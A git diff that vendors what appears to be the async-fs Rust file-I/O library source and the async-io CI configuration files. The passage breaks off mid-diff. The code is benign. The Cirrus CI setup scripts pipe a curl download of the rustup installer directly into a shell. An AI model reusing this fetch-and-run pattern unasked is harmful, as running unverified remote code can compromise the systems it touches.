futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// + /// file.write_all(b"Hello, world!").await?; + /// file.sync_data().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn sync_data(&self) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.sync_data()).await + } + + /// Truncates or extends the file. + /// + /// If `size` is less than the current file size, then the file will be truncated. If it is + /// greater than the current file size, then the file will be extended to `size` and have all + /// intermediate data filled with zeros. + /// + /// The file's cursor stays at the same position, even if the cursor ends up being past the end + /// of the file after this operation. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// file.set_len(10).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn set_len(&self, size: u64) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.set_len(size)).await + } + + /// Reads the file's metadata. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::open("a.txt").await?; + /// let metadata = file.metadata().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn metadata(&self) -> io::Result { + let file = self.file.clone(); + unblock(move || file.metadata()).await + } + + /// Changes the permissions on the file. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The current process lacks permissions to change attributes on the file. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::create("a.txt").await?; + /// + /// let mut perms = file.metadata().await?.permissions(); + /// perms.set_readonly(true); + /// file.set_permissions(perms).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn set_permissions(&self, perm: Permissions) -> io::Result<()> { + let file = self.file.clone(); + unblock(move || file.set_permissions(perm)).await + } + + /// Repositions the cursor after reading. + /// + /// When reading from a file, actual file reads run asynchronously in the background, which + /// means the real file cursor is usually ahead of the logical cursor, and the data between + /// them is buffered in memory. This kind of buffering is an important optimization. + /// + /// After reading ends, if we decide to perform a write or a seek operation, the real file + /// cursor must first be repositioned back to the correct logical position. + fn poll_reposition(&mut self, cx: &mut Context<'_>) -> Poll> { + if let Some(Ok(read_pos)) = self.read_pos { + ready!(Pin::new(self.unblock.get_mut()).poll_seek(cx, SeekFrom::Start(read_pos)))?; + } + self.read_pos = None; + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for File { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.file.fmt(f) + } +} + +impl From for File { + fn from(inner: std::fs::File) -> File { + File::new(inner, true) + } +} + +#[cfg(unix)] +impl std::os::unix::io::AsRawFd for File { + fn as_raw_fd(&self) -> std::os::unix::io::RawFd { + self.file.as_raw_fd() + } +} + +#[cfg(windows)] +impl std::os::windows::io::AsRawHandle for File { + fn as_raw_handle(&self) -> std::os::windows::io::RawHandle { + self.file.as_raw_handle() + } +} + +#[cfg(unix)] +impl From for File { + fn from(fd: std::os::unix::io::OwnedFd) -> Self { + File::from(std::fs::File::from(fd)) + } +} + +#[cfg(windows)] +impl From for File { + fn from(fd: std::os::windows::io::OwnedHandle) -> Self { + File::from(std::fs::File::from(fd)) + } +} + +#[cfg(unix)] +impl std::os::unix::io::AsFd for File { + fn as_fd(&self) -> std::os::unix::io::BorrowedFd<'_> { + self.file.as_fd() + } +} + +#[cfg(windows)] +impl std::os::windows::io::AsHandle for File { + fn as_handle(&self) -> std::os::windows::io::BorrowedHandle<'_> { + self.file.as_handle() + } +} + +impl AsyncRead for File { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + // Before reading begins, remember the current cursor position. + if self.read_pos.is_none() { + // Initialize the logical cursor to the current position in the file. + self.read_pos = Some(ready!(self.as_mut().poll_seek(cx, SeekFrom::Current(0)))); + } + + let n = ready!(Pin::new(self.unblock.get_mut()).poll_read(cx, buf))?; + + // Update the logical cursor if the file is seekable. + if let Some(Ok(pos)) = self.read_pos.as_mut() { + *pos += n as u64; + } + + Poll::Ready(Ok(n)) + } +} + +impl AsyncWrite for File { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + ready!(self.poll_reposition(cx))?; + self.is_dirty = true; + Pin::new(self.unblock.get_mut()).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if self.is_dirty { + ready!(Pin::new(self.unblock.get_mut()).poll_flush(cx))?; + self.is_dirty = false; + } + Poll::Ready(Ok(())) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(self.unblock.get_mut()).poll_close(cx) + } +} + +impl AsyncSeek for File { + fn poll_seek( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + pos: SeekFrom, + ) -> Poll> { + ready!(self.poll_reposition(cx))?; + Pin::new(self.unblock.get_mut()).poll_seek(cx, pos) + } +} + +/// A wrapper around `Arc` that implements `Read`, `Write`, and `Seek`. +struct ArcFile(Arc); + +impl io::Read for ArcFile { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + (&*self.0).read(buf) + } +} + +impl io::Write for ArcFile { + fn write(&mut self, buf: &[u8]) -> io::Result { + (&*self.0).write(buf) + } + + fn flush(&mut self) -> io::Result<()> { + (&*self.0).flush() + } +} + +impl io::Seek for ArcFile { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + (&*self.0).seek(pos) + } +} + +/// A builder for opening files with configurable options. +/// +/// Files can be opened in [`read`][`OpenOptions::read()`] and/or +/// [`write`][`OpenOptions::write()`] mode. +/// +/// The [`append`][`OpenOptions::append()`] option opens files in a special writing mode that +/// moves the file cursor to the end of file before every write operation. +/// +/// It is also possible to [`truncate`][`OpenOptions::truncate()`] the file right after opening, +/// to [`create`][`OpenOptions::create()`] a file if it doesn't exist yet, or to always create a +/// new file with [`create_new`][`OpenOptions::create_new()`]. +/// +/// # Examples +/// +/// Open a file for reading: +/// +/// ```no_run +/// use async_fs::OpenOptions; +/// +/// # futures_lite::future::block_on(async { +/// let file = OpenOptions::new() +/// .read(true) +/// .open("a.txt") +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Open a file for both reading and writing, and create it if it doesn't exist yet: +/// +/// ```no_run +/// use async_fs::OpenOptions; +/// +/// # futures_lite::future::block_on(async { +/// let file = OpenOptions::new() +/// .read(true) +/// .write(true) +/// .create(true) +/// .open("a.txt") +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct OpenOptions(std::fs::OpenOptions); + +impl OpenOptions { + /// Creates a blank set of options. + /// + /// All options are initially set to `false`. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new() -> OpenOptions { + OpenOptions(std::fs::OpenOptions::new()) + } + + /// Configures the option for read mode. + /// + /// When set to `true`, this option means the file will be readable after opening. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn read(&mut self, read: bool) -> &mut OpenOptions { + self.0.read(read); + self + } + + /// Configures the option for write mode. + /// + /// When set to `true`, this option means the file will be writable after opening. + /// + /// If the file already exists, write calls on it will overwrite the previous contents without + /// truncating it. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn write(&mut self, write: bool) -> &mut OpenOptions { + self.0.write(write); + self + } + + /// Configures the option for append mode. + /// + /// When set to `true`, this option means the file will be writable after opening and the file + /// cursor will be moved to the end of file before every write operation. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .append(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn append(&mut self, append: bool) -> &mut OpenOptions { + self.0.append(append); + self + } + + /// Configures the option for truncating the previous file. + /// + /// When set to `true`, the file will be truncated to the length of 0 bytes. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for truncation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .truncate(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn truncate(&mut self, truncate: bool) -> &mut OpenOptions { + self.0.truncate(truncate); + self + } + + /// Configures the option for creating a new file if it doesn't exist. + /// + /// When set to `true`, this option means a new file will be created if it doesn't exist. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for file creation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create(&mut self, create: bool) -> &mut OpenOptions { + self.0.create(create); + self + } + + /// Configures the option for creating a new file or failing if it already exists. + /// + /// When set to `true`, this option means a new file will be created, or the open operation + /// will fail if the file already exists. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for file creation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create_new(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create_new(&mut self, create_new: bool) -> &mut OpenOptions { + self.0.create_new(create_new); + self + } + + /// Opens a file with the configured options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The file does not exist and neither [`create`] nor [`create_new`] were set. + /// * The file's parent directory does not exist. + /// * The current process lacks permissions to open the file in the configured mode. + /// * The file already exists and [`create_new`] was set. + /// * Invalid combination of options was used, like [`truncate`] was set but [`write`] wasn't, + /// or none of [`read`], [`write`], and [`append`] modes was set. + /// * An OS-level occurred, like too many files are open or the file name is too long. + /// * Some other I/O error occurred. + /// + /// [`read`]: `OpenOptions::read()` + /// [`write`]: `OpenOptions::write()` + /// [`append`]: `OpenOptions::append()` + /// [`truncate`]: `OpenOptions::truncate()` + /// [`create`]: `OpenOptions::create()` + /// [`create_new`]: `OpenOptions::create_new()` + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn open>(&self, path: P) -> impl Future> { + let path = path.as_ref().to_owned(); + let options = self.0.clone(); + async move { + let file = unblock(move || options.open(path)).await?; + Ok(File::new(file, false)) + } + } +} + +impl Default for OpenOptions { + fn default() -> Self { + Self::new() + } +} + +#[cfg(unix)] +impl unix::OpenOptionsExt for OpenOptions { + fn mode(&mut self, mode: u32) -> &mut Self { + self.0.mode(mode); + self + } + + fn custom_flags(&mut self, flags: i32) -> &mut Self { + self.0.custom_flags(flags); + self + } +} + +#[cfg(windows)] +impl windows::OpenOptionsExt for OpenOptions { + fn access_mode(&mut self, access: u32) -> &mut Self { + self.0.access_mode(access); + self + } + + fn share_mode(&mut self, val: u32) -> &mut Self { + self.0.share_mode(val); + self + } + + fn custom_flags(&mut self, flags: u32) -> &mut Self { + self.0.custom_flags(flags); + self + } + + fn attributes(&mut self, val: u32) -> &mut Self { + self.0.attributes(val); + self + } + + fn security_qos_flags(&mut self, flags: u32) -> &mut Self { + self.0.security_qos_flags(flags); + self + } +} + +mod __private { + #[doc(hidden)] + pub trait Sealed {} + + impl Sealed for super::OpenOptions {} + impl Sealed for super::File {} + impl Sealed for super::DirBuilder {} + impl Sealed for super::DirEntry {} +} + +/// Unix-specific extensions. +#[cfg(unix)] +pub mod unix { + use super::__private::Sealed; + use super::*; + + #[doc(no_inline)] + pub use std::os::unix::fs::{FileTypeExt, MetadataExt, PermissionsExt}; + + /// Creates a new symbolic link on the filesystem. + /// + /// The `dst` path will be a symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::unix::symlink("a.txt", "b.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::unix::fs::symlink(&src, &dst)).await + } + + /// Unix-specific extensions to [`DirBuilder`]. + pub trait DirBuilderExt: Sealed { + /// Sets the mode to create new directories with. + /// + /// This option defaults to `0o777`. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{DirBuilder, unix::DirBuilderExt}; + /// + /// let mut builder = DirBuilder::new(); + /// builder.mode(0o755); + /// ``` + fn mode(&mut self, mode: u32) -> &mut Self; + } + + /// Unix-specific extension methods for [`DirEntry`]. + pub trait DirEntryExt: Sealed { + /// Returns the underlying `d_ino` field in the contained `dirent` structure. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::unix::DirEntryExt; + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut entries = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = entries.try_next().await? { + /// println!("{:?}: {}", entry.file_name(), entry.ino()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + fn ino(&self) -> u64; + } + + /// Unix-specific extensions to [`OpenOptions`]. + pub trait OpenOptionsExt: Sealed { + /// Sets the mode bits that a new file will be created with. + /// + /// If a new file is created as part of an [`OpenOptions::open()`] call then this + /// specified `mode` will be used as the permission bits for the new file. + /// + /// If no `mode` is set, the default of `0o666` will be used. + /// The operating system masks out bits with the system's `umask`, to produce + /// the final permissions. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, unix::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let mut options = OpenOptions::new(); + /// // Read/write permissions for owner and read permissions for others. + /// options.mode(0o644); + /// let file = options.open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + fn mode(&mut self, mode: u32) -> &mut Self; + + /// Passes custom flags to the `flags` argument of `open`. + /// + /// The bits that define the access mode are masked out with `O_ACCMODE`, to + /// ensure they do not interfere with the access mode set by Rust's options. + /// + /// Custom flags can only set flags, not remove flags set by Rust's options. + /// This options overwrites any previously set custom flags. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, unix::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let mut options = OpenOptions::new(); + /// options.write(true); + /// options.custom_flags(libc::O_NOFOLLOW); + /// let file = options.open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + fn custom_flags(&mut self, flags: i32) -> &mut Self; + } +} + +/// Windows-specific extensions. +#[cfg(windows)] +pub mod windows { + use super::__private::Sealed; + use super::*; + + #[doc(no_inline)] + pub use std::os::windows::fs::MetadataExt; + + /// Creates a new directory symbolic link on the filesystem. + /// + /// The `dst` path will be a directory symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::windows::symlink_dir("a", "b").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink_dir, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::windows::fs::symlink_dir(&src, &dst)).await + } + + /// Creates a new file symbolic link on the filesystem. + /// + /// The `dst` path will be a file symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::windows::symlink_file("a.txt", "b.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink_file, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::windows::fs::symlink_file(&src, &dst)).await + } + + /// Windows-specific extensions to [`OpenOptions`]. + pub trait OpenOptionsExt: Sealed { + /// Overrides the `dwDesiredAccess` argument to the call to [`CreateFile`] + /// with the specified value. + /// + /// This will override the `read`, `write`, and `append` flags on the + /// [`OpenOptions`] structure. This method provides fine-grained control over + /// the permissions to read, write and append data, attributes (like hidden + /// and system), and extended attributes. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// // Open without read and write permission, for example if you only need + /// // to call `stat` on the file + /// let file = OpenOptions::new().access_mode(0).open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + fn access_mode(&mut self, access: u32) -> &mut Self; + + /// Overrides the `dwShareMode` argument to the call to [`CreateFile`] with + /// the specified value. + /// + /// By default `share_mode` is set to + /// `FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE`. This allows + /// other processes to read, write, and delete/rename the same file + /// while it is open. Removing any of the flags will prevent other + /// processes from performing the corresponding operation until the file + /// handle is closed. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// // Do not allow others to read or modify this file while we have it open + /// // for writing. + /// let file = OpenOptions::new() + /// .write(true) + /// .share_mode(0) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + fn share_mode(&mut self, val: u32) -> &mut Self; + + /// Sets extra flags for the `dwFileFlags` argument to the call to + /// [`CreateFile2`] to the specified value (or combines it with + /// `attributes` and `security_qos_flags` to set the `dwFlagsAndAttributes` + /// for [`CreateFile`]). + /// + /// Custom flags can only set flags, not remove flags set by Rust's options. + /// This option overwrites any previously set custom flags. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .create(true) + /// .write(true) + /// .custom_flags(windows_sys::Win32::Storage::FileSystem::FILE_FLAG_DELETE_ON_CLOSE) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + fn custom_flags(&mut self, flags: u32) -> &mut Self; + + /// Sets the `dwFileAttributes` argument to the call to [`CreateFile2`] to + /// the specified value (or combines it with `custom_flags` and + /// `security_qos_flags` to set the `dwFlagsAndAttributes` for + /// [`CreateFile`]). + /// + /// If a _new_ file is created because it does not yet exist and + /// `.create(true)` or `.create_new(true)` are specified, the new file is + /// given the attributes declared with `.attributes()`. + /// + /// If an _existing_ file is opened with `.create(true).truncate(true)`, its + /// existing attributes are preserved and combined with the ones declared + /// with `.attributes()`. + /// + /// In all other cases the attributes get ignored. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .attributes(windows_sys::Win32::Storage::FileSystem::FILE_ATTRIBUTE_HIDDEN) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + fn attributes(&mut self, val: u32) -> &mut Self; + + /// Sets the `dwSecurityQosFlags` argument to the call to [`CreateFile2`] to + /// the specified value (or combines it with `custom_flags` and `attributes` + /// to set the `dwFlagsAndAttributes` for [`CreateFile`]). + /// + /// By default `security_qos_flags` is not set. It should be specified when + /// opening a named pipe, to control to which degree a server process can + /// act on behalf of a client process (security impersonation level). + /// + /// When `security_qos_flags` is not set, a malicious program can gain the + /// elevated privileges of a privileged Rust process when it allows opening + /// user-specified paths, by tricking it into opening a named pipe. So + /// arguably `security_qos_flags` should also be set when opening arbitrary + /// paths. However the bits can then conflict with other flags, specifically + /// `FILE_FLAG_OPEN_NO_RECALL`. + /// + /// For information about possible values, see [Impersonation Levels] on the + /// Windows Dev Center site. The `SECURITY_SQOS_PRESENT` flag is set + /// automatically when using this method. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .security_qos_flags(windows_sys::Win32::Storage::FileSystem::SECURITY_IDENTIFICATION) + /// .open(r"\\.\pipe\MyPipe") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + /// [Impersonation Levels]: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level + fn security_qos_flags(&mut self, flags: u32) -> &mut Self; + } +} diff --git a/lib/malio/async-io/.cirrus.yml b/lib/malio/async-io/.cirrus.yml new file mode 100644 index 0000000..90812a3 --- /dev/null +++ b/lib/malio/async-io/.cirrus.yml @@ -0,0 +1,61 @@ +only_if: $CIRRUS_TAG == '' && ($CIRRUS_PR != '' || $CIRRUS_BRANCH == 'master') +auto_cancellation: $CIRRUS_BRANCH != 'master' +env: + CARGO_INCREMENTAL: '0' + CARGO_NET_GIT_FETCH_WITH_CLI: 'true' + CARGO_NET_RETRY: '10' + CARGO_REGISTRIES_CRATES_IO_PROTOCOL: 'sparse' + CARGO_TERM_COLOR: always + RUST_BACKTRACE: '1' + RUSTDOCFLAGS: -D warnings + RUSTFLAGS: -D warnings + RUSTUP_MAX_RETRIES: '10' + +freebsd_task: + name: test ($TARGET) + freebsd_instance: + image_family: freebsd-13-4 + matrix: + - env: + TARGET: x86_64-unknown-freebsd + - env: + TARGET: i686-unknown-freebsd + setup_script: + # https://github.com/cirruslabs/cirrus-ci-docs/issues/483 + - sudo sysctl net.inet.tcp.blackhole=0 + - pkg install -y git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable --target $TARGET + test_script: + - . $HOME/.cargo/env + - cargo test --target $TARGET + +netbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/netbsd.pkrvars.hcl + image: family/pg-ci-netbsd-vanilla + platform: netbsd + env: + TARGET: x86_64-unknown-netbsd + setup_script: + - pkgin -y install git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable + test_script: + - . $HOME/.cargo/env + - cargo test + +openbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/openbsd.pkrvars.hcl + image: family/pg-ci-openbsd-vanilla + platform: openbsd + env: + TARGET: x86_64-unknown-openbsd + setup_script: + # OpenBSD is tier 3 target, so install rust from package manager instead of rustup + - pkg_add git rust + test_script: + - cargo test diff --git a/lib/malio/async-io/.github/dependabot.yml b/lib/malio/async-io/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-io/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-io/.github/workflows/ci.yml b/lib/malio/async-io/.github/workflows/ci.yml new file mode 100644 index 0000000..7fd9caa --- /dev/null +++ b/lib/malio/async-io/.github/workflows/ci.yml @@ -0,0 +1,166 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # macOS for kqueue, Windows for windows. + additional-targets: aarch64-apple-darwin x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + + # Copied from: https://github.com/rust-lang/stacker/pull/19/files + windows_gnu: + runs-on: windows-latest + strategy: + matrix: + rust: [nightly] + target: + - x86_64-pc-windows-gnu + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - run: rustup target add ${{ matrix.target }} + - run: cargo build --target ${{ matrix.target }} --all --all-features --all-targets + - run: cargo test --target ${{ matrix.target }} + + cross: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + rust: [nightly, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - name: Install cross + uses: taiki-e/install-action@cross + - name: Add rust-src + if: startsWith(matrix.rust, 'nightly') + run: rustup component add rust-src + # We don't test BSDs, since we already test them in Cirrus. + - name: Android + if: startsWith(matrix.os, 'ubuntu') + run: cross test --target arm-linux-androideabi + - name: iOS + if: startsWith(matrix.os, 'macos') + run: | + rustup target add aarch64-apple-ios + cross build --target aarch64-apple-ios + - name: Linux x32 + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-linux-gnux32 + cross check --target x86_64-unknown-linux-gnux32 + - name: Fuchsia + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-fuchsia + cargo build --target x86_64-unknown-fuchsia + - name: illumos + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-illumos + cargo build --target x86_64-unknown-illumos + - name: Redox + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-redox + cargo check --target x86_64-unknown-redox + # TODO: + # - name: HermitOS + # if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + # run: cargo check -Z build-std --target x86_64-unknown-hermit + - name: Check haiku + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-haiku + - name: Check vita + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target armv7-sony-vita-newlibeabihf + - name: Check ESP-IDF + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target riscv32imc-esp-espidf + + wine: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: x86_64-pc-windows-gnu + - run: cargo test --target x86_64-pc-windows-gnu + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --no-dev-deps --rust-version + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-freebsd + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-netbsd + if: startsWith(matrix.os, 'ubuntu') diff --git a/lib/malio/async-io/.github/workflows/release.yml b/lib/malio/async-io/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ 